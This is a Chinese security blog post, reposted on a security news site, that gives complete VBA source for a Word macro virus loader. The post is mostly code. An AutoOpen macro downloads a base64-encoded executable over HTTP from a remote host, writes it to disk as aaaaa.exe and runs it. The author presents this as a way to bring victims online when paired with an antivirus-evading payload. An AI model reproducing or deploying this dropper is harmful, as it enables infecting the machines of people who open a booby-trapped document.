一种基于远程加载的宏病毒Loader(附源代码)

admin 2024年8月14日22:18:40评论2 views字数 3525阅读11分45秒阅读模式

很久之前用的了,比较通用的写法。宏病毒这玩意现在不常用,且也不是很常杀,源码直接扔这里了。

. . . * . * ☄️. * . * . 🔆.* . * . 🧶 * . * . . .

前言

宏病毒感觉是很没有必要存在的一种病毒- -。用VB直接上线就算做好了免杀也相当于明文,而且带有病毒的文档一定会弹窗。但是,出于研究的目的还是要搞一下。
优缺点我就不赘述了,由于上面提到的明文缺点,并且WordBasic适用范围很小,代码就不直接在宏上跑了,不如使用已经免杀的exe直接解密执行,这样还能一劳永逸。

书写一个解密函数(Base64)

Function Base64Decode(ByVal base64String As String) As Byte()
    Dim base64Data As String
    Dim bytesCount As Long
    Dim decodedBytes() As Byte
    
    ' 移除字符串中的空格和换行符
    base64Data = Replace(Replace(base64String, " ", ""), vbCrLf, "")
    
    ' 创建 Base64 解码器对象
    Dim decoder As Object
    Set decoder = CreateObject("MSXML2.DomDocument").createElement("b64")
    
    ' 解码 Base64 字符串
    decoder.DataType = "bin.base64"
    decoder.Text = base64Data
    decodedBytes = decoder.nodeTypedValue
    
    Base64Decode = decodedBytes
End Function

执行部分

按照上面的解密函数,exe经过base64再移位之后发过来,然后本地解除加密后另存为文件再直接运行上线。
解密的位置在Word的Template文件夹里,所以不需要担心写出的文件被发现。

Sub DecryAndExec(ByVal str As String)
    'RUBY风味
    Dim path As String
    Dim exec() As Byte
    
    path = "aaaaa.exe"
    exec = Base64Decode(str) ' 解密
    
    On Error Resume Next
    Open path For Binary As #1
    If Err.Number <> 0 Then
        Close #1
        Kill path
        Open path For Binary As #1
    End If
    
    If Err.Number = 0 Then
        Put #1, , exec ' 写入到文件
        Close #1
        
        On Error Resume Next
        Shell path, vbNormalFocus ' 执行此文件
    End If
End Sub

HTTP部分

这个是因为,VB有行长度限制,而且远端加载可以缩小宏病毒的大小。
写一个接收远端HTTP 的函数。

Function HttpReq(ByVal url As String, ByVal method As String, ByVal requestBody As String) As String
    Dim req As Object
    Set req = CreateObject("MSXML2.req")
    
    ' 发送HTTP请求
    req.Open method, url, False
    req.setRequestHeader "Content-Type", "application/json"  
    req.send requestBody
    
    ' 获取响应体
    HttpReq = req.responseText
End Function

自动运行部分

很简单,加上就行:

Sub AutoOpen()
    Main
End Sub

最终部分

把上面几个部分整合一下即可。

Sub AutoOpen()
    Main
End Sub

Sub Main()
    Dim str As String
    str = HttpReq("http://192.168.92.129/aaa.txt")
    DecryAndExec str
End Sub

Function Base64Decode(ByVal base64String As String) As Byte()
    Dim base64Data As String
    Dim bytesCount As Long
    Dim decodedBytes() As Byte
    
    ' 移除字符串中的空格和换行符
    base64Data = Replace(Replace(base64String, " ", ""), vbCrLf, "")
    
    ' 创建 Base64 解码器对象
    Dim decoder As Object
    Set decoder = CreateObject("MSXML2.DomDocument").createElement("b64")
    
    ' 解码 Base64 字符串
    decoder.DataType = "bin.base64"
    decoder.Text = base64Data
    decodedBytes = decoder.nodeTypedValue
    
    Base64Decode = decodedBytes
End Function

Function HttpReq(ByVal url As String) As String
    Dim req As Object
    Set req = CreateObject("MSXML2.XMLHTTP")
    
    ' 发送HTTP请求
    req.Open "GET", url, False
    req.setRequestHeader "Content-Type", "application/json"
    req.send ""
    
    ' 获取响应体
    HttpReq = req.responseText
End Function

Sub DecryAndExec(ByVal str As String)
    'RUBY风味
    Dim path As String
    Dim exec() As Byte
    
    path = "aaaaa.exe"
    exec = Base64Decode(str) ' 解密
    
    On Error Resume Next
    Open path For Binary As #1
    If Err.Number <> 0 Then
        Close #1
        Kill path
        Open path For Binary As #1
    End If
    
    If Err.Number = 0 Then
        Put #1, , exec ' 写入到文件
        Close #1
        
        On Error Resume Next
        Shell path, vbNormalFocus ' 执行此文件
    End If
End Sub

制作Word宏病毒

直接全局搜索宏,查看宏然后编辑,将代码粘进去即可。成功上线。此方法依赖于exe的免杀,本身不具有问题。

一种基于远程加载的宏病毒Loader(附源代码)

. . . * . * 🌟  * . * . . .

由于很多人问我微信群的事情,所以我建了一个小微信群。现在可以在公众号菜单里选择合作交流->交流群获取交流群二维码,希望大家和谐交流,为更好更友善的行业环境贡献自己的力量。

如果喜欢我的文章,请点赞在看。网安技术文章、安卓逆向、渗透测试、吃瓜报道,尽在我的公众号:

原文始发于微信公众号(重生之成为赛博女保安):一种基于远程加载的宏病毒Loader(附源代码)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月14日22:18:40
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   一种基于远程加载的宏病毒Loader(附源代码)https://cn-sec.com/archives/3066148.html

发表评论

匿名网友 填写信息